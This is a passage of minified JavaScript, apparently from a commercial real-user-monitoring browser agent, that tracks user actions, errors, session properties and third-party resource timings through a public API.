a(b,d,f,l,r,G,ea,ya,ob,zb,pb,Tb,Hc,zc,Ad,Zd,Pc){void 0===Hc&&(Hc={readyState:-1,status:-1});void 0===zc&&(zc=-1);this.start=b;this.stop=d;this.type=f;this.name=l;this.info= r;this.domNodes=G;this.Fa=ea;this.title=ya;this.isCustomAction=zb;this.Ma=pb;this.nc=Hc;this.aa=Ad;this.ac=Pc;this.depth=1;this.Ca=this.ib=0;this.ra=-1;this.cc=this.Ua=0;this.jc=-1;this.$c="";this.subActions=[];this.sc=[];this.eb=[];this.errors=[];this.status=0;this.gb=[];this.jb=this.Xa=this.childFrameActions=0;this.J=!1;this.bb=0;this.xhrUrl="";this.Xc(ob);this.id=ke();this.Wc=Fh;this.ua(d);this.status=Tb?3:0;this.ma=0<=zc;this.Ca=Math.max(zc,0);Zd&&(this.na=Zd)}a.prototype.La=function(){return this.parent? this.parent.La():this.Fa};a.prototype.ta=function(){return this.parent?this.parent.ta():this.id};a.prototype.ua=function(b){this.stop=b;Be=Math.max(Be,this.stop)};a.prototype.Sc=function(b,d){void 0===d&&(d=!1);(3!==this.status||d)&&b&&b.name&&(b.depth=this.depth+1,Ob(this.subActions,b),b.$b()&&(this.bb++,this.Ic(1)),b.parent=this,b.ma||this.hb(),b.Ca+=this.Ca,b.ib=this.ib+Number(b.ma))};a.prototype.Tc=function(){return 3===this.status&&!this.Pb()};a.prototype.close=function(b,d,f){var l,r;this.domNodes= ph(mh("*"));this.start=d||this.start;d=!1;var G=this.start,ea=this.stop,ya=this.id,ob=this.bb;b&&(this.ua(Math.max(b,G,ea)),f&&(d=!0));if(ob)return this.status=1,!1;if(3===this.status)return!1;this.status=3;pc((l={},l.kind="ACTION_CLOSED",l.detail=(r={},r.s=ea,r.a=G,r.r=this.ta(),r.i=ya,r.f=!1,r.t=this.type,r.x=this.xhrUrl,r.dne=d,r.rt=void 0,r),l));return!0};a.prototype.Ac=function(){this.Ua--;this.parent&&this.parent.Ac()};a.prototype.Wb=function(b,d,f){var l=this;if(this.close(b,d,f)){var r=this.parent; if(r){r.bb--;this.Cb()||r.Ac();var G=r.stop;r.ua(Math.max(this.stop,G));Zc(function(){l.Yd(r,G)},0);1===r.status&&r.Wb(b)}}};a.prototype.Yd=function(b,d){this.ma&&(ti(this.ra),b.stop===this.stop&&(b.stop=d),b.Ee(this),delete Ze.actions[this.id])};a.prototype.bd=function(b){return b+1>Tc("moa")&&!this.Cb()};a.prototype.ae=function(){var b=Fb(this.xhrUrl,"fetch"===this.info?"fetch":"xmlhttprequest",this.start,this.stop);return ua(b)?b:null};a.prototype.He=function(){var b=this.ae();if(!b||0>=b.startTime)return[]; ua(b)&&(b.rtRequestId=--yn,this.Hb=b);var d=["b",ef()+Math.round(b.startTime)];k(b,d,b.startTime);return d};a.prototype.Uc=function(){for(var b,d,f=this.start,l=this.stop,r=this.id,G=0,ea=this.subActions;G<ea.length;G++)ea[G].Uc();pc((b={},b.kind="ACTION_BEFORE_SEND",b.detail=(d={},d.s=l,d.a=f,d.i=r,d.r=this.ta(),d),b))};a.prototype.Qb=function(b){for(var d,f,l=this.start,r=this.stop,G=this.id,ea=this.type,ya=this.xhrUrl,ob=0,zb=this.subActions;ob<zb.length;ob++)zb[ob].Qb(b);pc((d={},d.kind="ACTION_SENT", d.detail=(f={},f.s=r,f.a=l,f.r=this.ta(),f.i=G,f.f=b,f.t=ea,f.x=ya,f.rt=this.Hb,f),d));ti(this.ra);delete Ze.actions[this.id];this.J=!0};a.prototype.Db=function(){this.Ie=!0;Ac(this.subActions,function(b){b.Db()})};a.prototype.Pb=function(){return!!this.gb.length};a.prototype.Ue=function(){this.Va=this.start+1E4;this.kc=100;return this};a.prototype.af=function(){this.Ke=kc()};a.prototype.Qe=function(){this.Pc=kc()};a.prototype.We=function(){return!!this.Ke&&!this.Pc};a.prototype.$b=function(){return 1=== this.status||0===this.status};a.prototype.tb=function(){return(this.ma&&3===this.status||this.Ma&&!(0<this.cc))&&this.parent?this.parent.tb():this};a.prototype.Mb=function(b){var d=this.depth,f=this.sc,l=this.subActions;this.domNodes||(this.domNodes=ph(mh("*")));var r=[];Ac(f,function(G){Ob(r,Fe(G,d+1))});for(f=0;f<l.length&&!b;f++)Ob(r,l[f].Mb());r.unshift(this.Na());return r.join(",")};a.prototype.Na=function(){var b=this.stop,d=this.start,f=this.id,l=this.type,r=this.info,G=this.status,ea=this.name, ya=[];ya[0]=String(this.depth);ya[1]=String(f);ya[2]=I(ea);ya[3]=I(l);ya[4]=I(r)||"-";ya[5]=String(d);ya[6]=String(3===G?b:0);b=0;for(d=this.be();b<d.length;b++)if(f=d[b],l=f[1])"string"===typeof l?l=I(l):l="boolean"===typeof l?String(Number(l)):String(l),ya.push(String(f[0]),l);return ya.join("|")};a.prototype.be=function(){var b=this.xhrUrl,d=this.jb,f=this.Xa,l=this.start,r=this.name,G=this.jc,ea=this.$c,ya=this.na,ob=this.Ag,zb=this.Wc,pb=this.eb.slice();pb.push(["dn",this.domNodes],["cfa",this.childFrameActions], ["xu",b],["ica",this.isCustomAction],["gn",this.aa]);var Tb=pb.push,Hc=Tb.apply;var zc=[];if(0!==Hf){var Ad=ae,Zd=Ad.name,Pc=Ad.timestamp;Ad=Ad.group;ya&&(ya.name!==Zd&&zc.push(["svn",ya.name]),ya.timestamp!==Pc&&zc.push(["svt",ya.timestamp]),ya.group&&ya.group!==Ad&&zc.push(["svg",ya.group]),zc.push(["svtrg",ya.trigger]),zc.push(["svm",ce(ya)]));ob&&(ob.name!==Zd&&zc.push(["tvn",ob.name]),ob.timestamp!==Pc&&zc.push(["tvt",ob.timestamp]),ob.group&&ob.group!==Ad&&zc.push(["tvg",ob.group]),zc.push(["tvtrg", ob.trigger]),zc.push(["tvm",ce(ob)]))}Hc.call(Tb,pb,zc);b&&!hc("ntd")&&pb.push(["xrt",this.He().join("")]);"_load_"===r&&pb.push(["lr",document.referrer]);"0"!==zb&&pb.push(["bg",zb]);f&&d&&(pb.push(["xcs",f-l]),pb.push(["xce",d-l]));-1!==G&&pb.push(["rc",G]);ea&&pb.push(["rm",ea]);this.Hb&&this.stop<this.Hb.responseEnd&&this.ac&&pb.push(["sd",1]);return pb};a.prototype.$e=function(){return 3600001<=kc()-this.start?(this.Qb(!1),!0):!1};a.prototype.Xc=function(b){this.xhrUrl=gc(b)};a.prototype.hb= function(){this.ma&&(this.ma=!1,this.ua(this.Pc||this.stop),this.Ca=this.ib=0,this.parent&&this.parent.hb())};a.prototype.Rc=function(b){this.hb();this.ua(Math.max(b.timestamp,this.stop));for(var d=this.parent;d;)d.ua(Math.max(d.stop,this.stop)),d=d.parent;Ob(this.sc,b)};a.prototype.Oe=function(){function b(f){void 0===f&&(f=-1);eb(d.gb,mf(d.gb,b));d.ua(Math.max(f,d.stop));d.Pb()||Cg()}var d=this;this.gb.push(b);return b};a.prototype.Ne=function(b,d){this.eb.push([b,d])};a.prototype.Ze=function(b){b> this.stop&&3===this.status?this.Xa=-6:this.Xa=b};a.prototype.Ye=function(b){b>this.stop&&3===this.status?this.jb=-6:this.jb=b};a.prototype.Ic=function(b){this.Ua+=b;var d=3===this.status;d&&(this.status=1);this.parent&&(d&&(this.Cb()||b++,this.parent.bb++),this.parent.Ic(b))};a.prototype.Cb=function(){return-1!==mf(Jm,this.type)};a.prototype.Ee=function(b){for(var d=this.subActions,f=d.length-1;0<=f;f--)if(d[f]===b){eb(d,f);b.parent=void 0;break}};return a}(),sl,vf=[],$e=(sl={},sl.dtAWF=function(a, b,d,f,l,r){f&&!Ie(f)?(vf.push({xhrUrl:wa(rc(l||"")),G:f,Hf:r||""}),a=a.apply(b,d||[]),"g"===r?Zc(function(){for(var G=0;G<vf.length;G++)if(vf[G].G===f){eb(vf,G);break}},0):vf.pop()):a=a.apply(b,d||[]);return a},sl),cm,Qi=null,Pi=null,te=[],sd=!1,Re=void 0,xd=void 0,Qc,Jg,Ij=!1,nk=!1,ym=!1,Ri=1,rh=null,ok=!1,Dl=!1,Rk=!1,pj,mk=!1,Sk=!1,Wm=-1,Sf,Jj=!1,dm=document,Xm=/function\s*([\w\-$]+)?\s*\(/i,wi=0;setInterval(function(){0<wi&&wi--},3E4);var un=["javaLong","date","shortString","javaDouble"],Qn=function(){function a(b){this.G= b;this.Pd=[];this.Cd=[]}a.prototype.Od=function(b,d,f){var l=this.Mf();b=Ta({type:b,name:Ga(d+"="+f,Tc("mpl")),start:kc(),Za:!0});qc(b,l);Vc();Ob(this.Pd,{key:d,value:f})};a.prototype.Dd=function(b,d,f){b=De(b,f);Ob(this.Cd,{key:d,reason:b});a.qb++};a.prototype.Mf=function(){return this.G};a.prototype.Ed=function(){return this.Pd};a.prototype.Ec=function(){return this.Cd};a.prototype.Lf=function(){return rj(this,a.qb)};a.qb=0;return a}(),vh={},id=function(){function a(b,d,f,l){this.Cc=[];this.Qd= [];this.Gd={};this.Bd={};this.Nd={};this.Fd={};this.xd=0;Yh(this,b,d,f,l)}a.prototype.Od=function(b,d,f){var l={};switch(b){case "_uapl_":l=this.Gd;break;case "_uapdbl_":l=this.Fd;break;case "_uaps_":l=this.Nd;break;case "_uapdt_":l=this.Bd}l[d]=f;this.xd++;Ob(this.Qd,{key:d,value:f})};a.prototype.Dd=function(b,d,f){b=De(b,f);Ob(this.Cc,{key:d,reason:b});a.qb++};a.prototype.Qf=function(){return 0<this.xd};a.prototype.Ed=function(){return this.Qd};a.prototype.Ec=function(){return this.Cc};a.prototype.Nf= function(){for(var b=[],d=0,f=this.Cc;d<f.length;d++)Ob(b,f[d].key);return b};a.Of=function(b){var d=[],f;for(f in b)if(Ra(b,f)&&b[f]){var l=b[f];Ob(d,f+","+("string"===typeof l?I(l):l))}return d.join(";")};a.qb=0;return a}(),rd=null,he=void 0,zn=["c","o","i","s","y"],Tn=[0,1,2,3],dj=function(){function a(){}a.prototype.setAutomaticActionDetection=function(b){vc(b,"boolean")?(1<arguments.length&&wc(),tc("saad"),Ne(b)):Rc()};a.prototype.setLoadEndManually=function(){0<arguments.length&&wc();tc("slem"); mk=!0};a.prototype.signalLoadEnd=function(){0<arguments.length&&wc();tc("sle");pe()};a.prototype.markAsErrorPage=function(b,d){if(!vc(b,"number")||!vc(d,"string"))return Rc(),!1;2<arguments.length&&wc();tc("maep");return ui(b,d)};a.prototype.markXHRFailed=function(b,d,f){if(!vc(b,"number")||!vc(d,"string")||f&&!vc(f,"number"))return Rc(),!1;3<arguments.length&&wc();tc("mxf");return Fd(b,d,Number(f)||-1)};a.prototype.sendSignal=function(b,d,f){Tf("method","sendSignal",'Use "sendBeacon" instead. We will remove "sendSignal" in June 2022.'); vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.sendBeacon=function(b,d,f){vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.enterAction=function(b,d,f,l){if(!vc(b,"string")||!Me(d,"string")||l&&!vc(l,"string"))return Rc(),2;d&&Tf("parameter","actionType","This is not used anymore and will be removed in June 2022.");5<arguments.length&&wc();tc("ea");var r=f;if(r){if(!Number(r))return Rc(), 2;r=wh(r)}return ud(b,d,Number(r),!1,void 0,void 0,!0,String(l))};a.prototype.addEnterActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("aeal"),$f(b)):Rc()};a.prototype.removeEnterActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("real");var d=b.dtWF;d&&wb("ACTION_ENTERED",d)}else Rc()};a.prototype.leaveAction=function(b,d,f){if(vc(b,"number")&&Me(d,"number")&&Me(f,"number")){3<arguments.length&&wc();tc("la");var l=f;l&&(l=wh(l));var r=d;r&&(r=wh(r));We(b,r,l)}else Rc()}; a.prototype.addLeaveActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("alal"),qf(b)):Rc()};a.prototype.removeLeaveActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rlal");var d=b.dtWF;d&&wb("ACTION_LEFT",d)}else Rc()};a.prototype.addActionProperties=function(b,d,f,l,r){!vc(b,"number")||d&&!vc(d,"object")||f&&!vc(f,"object")||l&&!vc(l,"object")||r&&!vc(r,"object")?Rc():(5<arguments.length&&wc(),tc("aap"),uh(b,d,f,l,r))};a.prototype.reportError=function(b,d){("object"!== typeof b&&"string"!==typeof b||null===b?0:"object"===typeof b&&"message"in b||"string"===typeof b)&&Me(d,"number")?(2<arguments.length&&wc(),tc("re"),Uk(b,d,!1,"0")):Rc()};a.prototype.identifyUser=function(b){vc(b,"string")?(1<arguments.length&&wc(),tc("iu"),Oc()?Qh()&&fg("navigator.doNotTrack is enabled on the browser"):nd("rx_visittag",b,-1)):Rc()};a.prototype.startThirdParty=function(b,d){Tf("method","startThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022."); if(Oj(b,zn)&&vc(d,"string")){1<arguments.length&&wc();tc("statp");var f=mb.dT_;f&&f.tpih&&f.tpstr(b,d)}else Rc()};a.prototype.stopThirdParty=function(b,d,f,l){Tf("method","stopThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022.");if(!vc(b,"string")||!vc(d,"boolean")||f&&!vc(f,"number")||l&&!vc(l,"number"))Rc();else{4<arguments.length&&wc();tc("stotp");var r=C();r&&r.tpih&&r.tpsto(b,d,Number(f),Number(l))}};a.prototype.addPageLeavingListener= function(b){Fc(b)?(1<arguments.length&&wc(),tc("apll"),rb("PAGE_LEAVING",function(d){b(d.detail)})):Rc()};a.prototype.beginUserInput=function(b,d,f,l){if(!Pa(b)&&!vc(b,"string")||!vc(d,"string")||!Me(f,"string")||!Me(l,"number"))return Rc(),{};4<arguments.length&&wc();tc("bui");return Ub(b,d,f,l)};a.prototype.endUserInput=function(b){("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"info"in b&&"title"in b)?(1<arguments.length&&wc(),tc("eui"),dd(b)):Rc()};a.prototype.enterXhrAction= function(b,d,f){if(!vc(b,"string")||!Oj(d,Tn)&&f&&!vc(f,"string"))return Rc(),-1;2===d&&Tf("parameter","xmode 2","Use 1 instead. All subactions are visible.");3<arguments.length&&wc();tc("exa");return bf(b,d||void 0,String(f),!0)};a.prototype.leaveXhrAction=function(b,d){if(vc(b,"number")&&Me(d,"number")){2<arguments.length&&wc();tc("lxa");var f=d;f&&(f=wh(d));Ed(b,void 0,void 0,f)}else Rc()};a.prototype.enterXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("exc"),mg(b)):Rc()}; a.prototype.leaveXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("lxc"),kh(b)):Rc()};a.prototype.signalOnLoadStart=function(){0<arguments.length&&wc();tc("sols");Od()};a.prototype.incrementOnLoadEndMarkers=function(){0<arguments.length&&wc();tc("iolem");td()};a.prototype.signalOnLoadEnd=function(){0<arguments.length&&wc();tc("sole");Dc()};a.prototype.actionName=function(b,d){if(!vc(b,"string")||d&&!vc(d,"number"))return Rc(),2;2<arguments.length&&wc();tc("an");return"string"!== typeof b?2:d&&"number"!==typeof d?3:Xe("an",b,Number(d))?0:1};a.prototype.endSession=function(){0<arguments.length&&wc();tc("es");Mj()};a.prototype.now=function(){0<arguments.length&&wc();tc("n");return kc()};a.prototype.enable=function(){0<arguments.length&&wc();tc("e");Ml()};a.prototype.disable=function(){0<arguments.length&&wc();tc("d");nl()};a.prototype.addVisitTimeoutListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("avtl"),Ud(b)):Rc()};a.prototype.enableSessionReplay=function(b){if(vc(b, "boolean")){1<arguments.length&&wc();tc("esr");var d=mb.dT_;d&&d.srel&&d.srel(b)}else Rc()};a.prototype.disableSessionReplay=function(){0<arguments.length&&wc();tc("dsr");var b=mb.dT_;b&&b.srel&&b.srdl()};a.prototype.getAndEvaluateMetaData=function(){0<arguments.length&&wc();tc("gaemd");var b=mb.dT_;return b&&b.gEMD?b.gEMD():[]};a.prototype.enablePersistentValues=function(){0<arguments.length&&wc();tc("epv");Em()};a.prototype.disablePersistentValues=function(b){vc(b,"boolean")?(1<arguments.length&& wc(),tc("dpv"),Mh(b)):Rc()};a.prototype.registerPreDiffMethod=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rpdm");var d=mb.dT_;d&&d.srel&&Ue(d.srpdm,0)&&d.srpdm.push(b)}else Rc()};a.prototype.sendSessionProperties=function(b,d,f,l){if(Me(b,"object")&&Me(d,"object")&&Me(f,"object")&&Me(l,"object"))return 4<arguments.length&&wc(),tc("ssp"),Wk(b,d,f,l);Rc()};a.prototype.reportCustomError=function(b,d,f,l){if(vc(b,"string")&&vc(d,"string")&&Me(f,"string")&&(Me(l,"number")||Me(l,"boolean")))if(4< arguments.length&&wc(),tc("rce"),b&&d){var r=[["type",b],["name",d]];f&&r.push(["hint",String(f)]);ag("_customerror_",r,l)}else Qh()&&fg("Key or value is missing but mandatory for 'reportCustomError' method!");else Rc()};a.prototype.enableManualPageDetection=function(){0<arguments.length&&wc();tc("emvd");B(3)};a.prototype.setPage=function(b){if(!("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"group"in b))return Rc(),-1;1<arguments.length&&wc();tc("sp");return Nj(b,3)};return a}(), Bm=[],uk=-1,sj,Cm={},Pj,Yk=!1,sk=!!mb.MutationObserver,$k=mb.MutationObserver?mb.MutationObserver:void 0,gg={},em={},Xi={},tk=[],cl={},il="".concat(1).concat(","),Ym=[],hl=[],Yi={},hm,Jl,di,jf={},Wj=null,zk=[],gi,yg=0,ei=0,fi,zg,jl=[],kl,Bk,eh,im,Zm,ll=[],Yj=0,$m=["click","mousedown","keydown","touchstart"],Lh=0,Ci=0;(function(a){var b,d,f,l;a=a||0>(null===(b=navigator.userAgent)||void 0===b?void 0:b.indexOf("RuxitSynthetic"));if(!mb.dT_||!mb.dT_.ica)null===(d=mb.console)||void 0===d?void 0:d.log("No initCode available, turning off asyncCore."), mb.dT_&&(mb.dT_.di=2);else if("initialized"in mb.dT_&&mb.dT_.initialized)null===(f=mb.console)||void 0===f?void 0:f.log("Duplicate agent injection detected, turning off redundant asyncCore."),mb.dT_.di=1;else if(a&&!jm()){try{delete mb.dT_}catch(r){mb.dT_=void 0}null===(l=mb.console)||void 0===l?void 0:l.log("JsAgent asyncCore initialization failed!")}})(!1)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(q,D){void 0===D&&(D=[]);var t=la.dT_;t=(null===t||void 0===t?0:t.iIO)?t.iIO:null;return!(null===t||void 0===t||!t(q,D))}function La(q){return ua&&ra(q,13)&&"navigation"!==q.entryType||ra(q,["_dtCl"])}function gb(){ca.gSig&&(ka=-1,Za=0,I=!0)}function db(q,D){var t=D.domain;if(!t)return q;var y=q.Fe[t];y||(y=[],q.Fe[t]=y,q.Cf.push(t));y.push(D);return q} function Ea(q,D){q.count++;var t=Number(q.low);q.low=Math.min(isNaN(t)?Number.MAX_VALUE:t,D);q.high=Math.max(q.high,D);q.Vb=Math.round((q.Vb*(q.count-1)+D)/q.count)}function Ua(q,D){var t=D.Sa,y=D.Fb,Y=D.type,x=D.Wa,oa=D.wb;D=D.$a;var R=q[Y];R||(R={Wa:0,$a:0,$d:0,wb:0,ze:Pa(),je:Pa()},q[Y]=R);if(t.start&&t.stop){Y=R.je;var O=t.start;t=t.stop;var wa=V();Ea(Y,t-O);Y.Zb.add(O-wa,t-wa)}if(y.start&&y.stop){t=R.ze;Y=y.start;O=y.stop;y=y.duration;0>y&&(y=O-Y);if(0>y||3E5<y)y=0;Ea(t,y);t.Zb.add(Y,O)}R.Wa+= Number(x);R.wb+=Number(oa);x||(R.$a+=Number(D),R.$d+=Number(!D));q.bc=Math.max(q.bc,R.ze.high,R.je.high);return q}function Pa(){return{Zb:new Cb,Vb:0,high:0,count:0,kj:[]}}function za(){var q=ca;return q&&!!q.gIA&&q.re_t}function ab(q,D){q=Math.max(q.Sa.duration,q.Fb.duration);D=Math.max(D.Sa.duration,D.Fb.duration);return q<D?1:q===D?0:-1}function ba(q){for(var D=[],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),t<D.length-1&&q.push("|")}function Z(q){for(var D= [],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),q.push("|")}function Aa(q,D,t,y){var Y=q;0<ka&&q.length>ka&&(q.sort(function(Eb,Lb){return t[Lb].bc-t[Eb].bc}),Y=q.slice(0,ka));q=[];for(var x=V(),oa=0;oa<Y.length;oa++){var R=Y[oa],O=t[R];0<q.length&&ba(q,";");Z(q,Ab(R),"featureHash");var wa=0,Ga=q.length-2,Wa=O.i;Wa&&(Z(q,Wa),wa+=2);if(Wa=O.s)Z(q,Wa),wa+=4;if(Wa=O.c)Z(q,Wa),wa+=8;if(Wa=O.o)Z(q,Wa),wa+=16;if(O=O.y)Z(q,O),wa+=32;q.pop();q[Ga]=wa.toString(32);na(D[R], q,x)}return 0>=q.length?"":aa("".concat(y,"-").concat(x,";").concat(q.join("")))}function na(q,D,t){var y=Math.min(q.length,Za);q.sort(ab);for(var Y=0;Y<y&&(q[Y].Sa.duration>=Oa||q[Y].Fb.duration>=Oa);Y++){var x=q[Y],oa=x.Sa,R=x.url,O=x.Wa,wa=x.$a,Ga=x.type,Wa=x.Td;x=x.Fb;ba(D,",");var Eb="";O||(Eb=wa?"i":"f");ba(D,Ga+Eb,oa.start?oa.start-t:0,oa.stop?oa.stop-t:0,Ab(Wa),ib(R));x.start&&ba(D,"",x.start,x.stop)}}function ta(q,D,t,y){if(za()){var Y=V();if(!q.length||0>=Y)t&&t("");else{for(Y=0;Y<q.length;Y++)Ma(q[Y]); y=y||!t;t=t||function(){};q=yb(q,db,{Cf:[],Fe:{}});Ja(q.Fe,q.Cf,t,D,y)}}}function Ma(q){var D=q.Sa;!D.stop&&D.start&&("i"===q.type?(q.$a=!0,q.Wa=!1,D.stop=Va()):(q.Fb.start||(q.Wa=!0),D.stop=D.start));D.duration=D.stop?D.stop-D.start:D.duration}function Ja(q,D,t,y,Y){var x={};qa(D,function(oa){for(var R=yb(q[oa],Ua,{ik:{type:"",$a:"",Aj:{start:0,stop:0},Wj:{start:0,stop:0},Td:"",url:""},bc:0}),O={bc:R.bc},wa=0,Ga=bd;wa<Ga.length;wa++){var Wa=Ga[wa],Eb=R[Wa];if(Eb){var Lb=Wa,Nb=Eb.je,ac=Eb.ze,rc=Eb.Wa, mc=Eb.$d,Oc=Eb.$a;Eb=Eb.wb;Eb="i"===Wa||"s"===Wa?[rc,mc,Oc,Eb,Nb.count,ac.count,Nb.Zb.dd(),Nb.Vb,Nb.count?Nb.low:"0",Nb.high,ac.Zb.dd(),ac.Vb,ac.count?ac.low:"0",ac.high].join("|"):"o"===Wa||"c"===Wa?[rc,mc,Oc,Eb,ac.Zb.dd(),ac.Vb,ac.low||"0",ac.high].join("|"):[rc,Nb.Zb.dd(),Nb.Vb,Nb.low||"0",Nb.high].join("|");O[Lb]=Eb}}x[oa]=O},void 0,function(){t(Aa(D,q,x,y))},!Y)}function fa(q,D,t,y){var Y=ca;Y.gIA&&!D&&W.dT_.las()&&(Y.gIA()&&!t?W.dT_.sMPS(1E3):(ta(W.dT_.oV(Ka),gc(),function(x){q.av(y,"3p",x, !0)},!0),W.dT_.rBPSL(fa),Ka={}))}function S(q){-1<q.indexOf("ScriptResource.axd")?q="js":(q=q.substring(1+q.lastIndexOf("/")),0<q.indexOf("?")&&(q=q.split("?")[0]),0<q.indexOf("#")&&(q=q.split("#")[0]),q=0<q.indexOf(".")?q.substring(q.lastIndexOf(".")+1):"-");switch(q){case "js":return"s";case "gif":case "png":case "jpg":case "jpeg":case "ico":case "tiff":case "bmp":case "xbm":case "svg":return"i";case "css":return"c";default:return"o"}}function va(q){q=vb()+q.startTime;q-=V();return Math.round(q)} function ja(q,D,t,y){var Y=q.resources;q=q.actionId;if(jb().op){for(var x=[],oa={},R=0;R<Y.length;R++){var O=Y[R];oa[O.name]||(x.push(O),oa[O.name]=!0)}Y=x}x=[];oa=0;for(R=Y;oa<R.length;oa++){O=x;var wa=O.push,Ga=R[oa],Wa=S(Ga.name.toLowerCase()),Eb=Ga,Lb=Eb.duration;!Lb&&La(Eb)&&(Lb=Eb.responseEnd-Eb.startTime);Eb=Lb?Math.round(Lb):0;Lb=va(Ga);var Nb=Ga;La(Nb)&&0<Nb.responseEnd?(Nb=vb()+Nb.responseEnd,Nb-=V(),Nb=Math.round(Nb)):Nb=Math.round(Va()-V());Eb={duration:Eb,start:Lb,stop:Nb};Lb=Ga.name; Nb=nb(Ga.name);var ac=va(Ga)<=pa()?"_load_":"-",rc=0===Ga.responseEnd;var mc=Ga;mc=mc.failedResource?!1:nb(mc.name)===$a&&jb().ie?0!==mc.requestStart:0<mc.responseEnd;Ga=jb().ch?0!==Ga.domainLookupStart&&0===Ga.requestStart:nb(Ga.name)!==$a&&0===Ga.requestStart&&2>Ga.duration?!0:0>=Ga.responseEnd?!1:Ga.requestStart===Ga.fetchStart&&Ga.requestStart===Ga.responseStart&&Ga.responseStart!==Ga.responseEnd;wa.call(O,{type:Wa,Fb:Eb,Sa:{duration:0,start:0,stop:0},url:Lb,domain:Nb,Td:ac,$a:rc,Wa:mc,wb:Ga, Rf:!1})}eb(D,q,x,Y,t,y)}function U(q,D,t,y){var Y=vb();if(!q.length||0>=Y)t("");else{var x=[];qa(q,function(oa){if(Ba&&x.length/2>=Ba)oa=!1;else{var R=oa.startTime,O;if(O=!(R<("iframe"===oa.initiatorType?1:0)))O=oa.actionId,O=!O||O===D;O&&(R=R?["b",Math.round(R)]:[],Hb(oa,R,vb()),x.push(Vb(oa.name),R.join("")));oa=!0}return oa},void 0,function(){t(aa("".concat(D||gc(),"-").concat(Math.round(Y),";").concat(x.join("|"))))},!y)}}function eb(q,D,t,y,Y,x){Ka={};U(y,D,function(oa){oa&&q.pg.push(oa);Y()}, x)}function L(q,D,t,y){var Y=ca;W.dT_.las()&&Y.gSig&&Y.re_r?(Y=pa(),!t&&(0>=Y||3E3>Va()-Y)?(W.dT_.sMPS(2E3),Y=!1):Y=!0):Y=!1;if(Y&&!D){D=ca;gb();D.gSig&&C(D.gSig(t),t);!Qb.length||W.dT_.last()+3E4<=Va()&&W.dT_.last()?(Qb=[],t=void 0):t=Qb.splice(0,1)[0];if(t)for(t=t.pg,D=0;D<t.length;D++)q.av(y,"rt",t[D],!0,D);Qb.length&&W.dT_.sMPS(100)}}function C(q,D){for(var t={pg:[],resourceSummaries:[]},y=q.length,Y=0,x=0;x<q.length;x++)ja(q[x],t,function(){Y++;Y===y&&(Qb.push(t),W.dT_.sMPS(0))},D)}function H(q, D){var t=Va();Ka[D]||(q={type:q,Sa:{start:t,stop:0,duration:0},Fb:{start:0,stop:0,duration:0},url:D,domain:nb(D),Td:W.dT_.can()||"-",wb:!1,Wa:!1,$a:!1,Rf:!1},Ka[q.url]=q)}function Q(q,D,t,y){if(q=Ka[q])q.Sa.start=t||q.Sa.start,q.Sa.stop=y||Va(),q.Wa=D,D||(q.wb=!1,q.Rf=!0)}function ia(q){var D=nb(q),t=-1!==q.indexOf("chrome-extension://")||-1!==q.indexOf("chrome://")||-1!==q.indexOf("data:")||-1!==q.indexOf("javascript:")||-1!==q.indexOf("about:")||-1!==q.indexOf("res://");q=-1!==q.indexOf("://localhost/")|| -1!==q.indexOf("://localhost:")||D&&-1!==D.indexOf(".local",D.length-6);return I?!t:!t&&!q&&!!D&&D!==$a}var W="undefined"!==typeof window?window:self,la="undefined"!==typeof window?window:self,ua="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,Ka={},Hb,ib,aa,qa,V,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca,Oa=500,Za=3,I=!0,ka=-1,Ba,$a,Cb=function(){function q(){this.head=null}q.prototype.add=function(D,t){if(!(D>t)){t={start:D,stop:t,next:null};var y=this.head,Y= null;if(y){for(;y&&D>y.start;)Y=y,y=y.next;Y?(t.next=Y.next,Y.next=t):(t.next=this.head,this.head=t)}else this.head=t,t.next=null}};q.prototype.reduce=function(){for(var D=this.head;D&&D.next;){for(;D.next&&D.stop+1>=D.next.start;)D.stop<=D.next.stop&&(D.stop=D.next.stop),D.next=D.next.next;D=D.next}};q.prototype.dd=function(){this.reduce();var D=[];if(this.head){var t=this.head;do 0<D.length&&D.push("_"),D.push(t.start),D.push("_"),D.push(t.stop),t=t.next;while(t)}return D.join("")};return q}(), bd=["c","o","i","s","y"],Qb=[],Zb;(function(q){var D,t;return(Zb=la.dT_)&&(null===(t=(D=W.dT_).ssmbi)||void 0===t?0:t.call(D,"2",q,!0))?(q=Zb,Hb=q.snt,ib=q.tpesc,aa=q.esc,qa=q.fE,V=q.lst,Va=q.nw,pa=q.gLAet,nb=q.gh,lb=q.loc,jb=q.gBI,Ab=q.aesc,gc=q.lAID,Vb=q.aur,Ha=q.stcv,yb=q.red,vb=q.gto,q=ca=la.dT_,D=W.dT_.scv("tp").split(","),t=D.length,3>t||5<t||(Oa=W.dT_.pn(D[0],10),Za=W.dT_.pn(D[2],10),4<=t&&(I=!!W.dT_.pn(D[3],10)),5<=t&&(ka=W.dT_.pn(D[4],10)),Ba=W.dT_.ncv("rtl"),q.syn&&(Ba=0,ka=-1,I=!0,Ha("rtp", 1),Ha("rtu",800)),$a=nb(lb())),W.dT_.st(gb,0),Ka={},W.dT_.aBPSL(fa),q=la.performance,0<((null===q||void 0===q?void 